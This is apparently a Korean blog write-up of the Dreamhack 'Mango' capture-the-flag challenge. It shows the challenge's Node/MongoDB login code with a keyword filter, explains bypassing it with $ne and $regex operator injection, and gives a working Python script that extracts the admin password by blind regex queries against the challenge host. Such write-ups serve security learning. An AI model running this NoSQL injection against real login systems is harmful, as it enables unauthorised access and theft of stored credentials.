Web Hacking/DreamHack

[Dreamhack] Mango 풀이

프레딕 2024. 4. 10. 21:33
728x90

Mongodb로 작성된 사이트이다.

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

 

MongoDB는 $연산자를 사용하여 injection이 가능하다. 예를들어,

$ne 연산자를 사용해 guest가 나왔다.

 

여기서는 정규식을 사용 가능하게 하는 $regex를 이용하여 exploit 할것이다.

admin이 필터링 되어있으니 uid[$regex]=ad.in 또는 uid[$regex]n$ 이렇게 우회하고

패스워드가 flag이니 blind sql injection을 이용해주면 금방 구한다.

아래는 exploit 코드이다.

 

import requests

URL = "http://host3.dreamhack.games:9549"

str = "1234567890abcdefghijklmnopqrstuvwxyz"

isPass = False
flag = "D.{"

while True:
    for s in str:
        text = flag + s
        r = requests.get(f"{URL}/login?uid[$regex]=n$&upw[$regex]={text}")
        
        if "admin" in r.text:
            flag += s
            print(flag)
            isPass = True
            break
    
    if isPass:
        isPass = False
    else:
        break

flag += '}'
print(flag)
728x90
반응형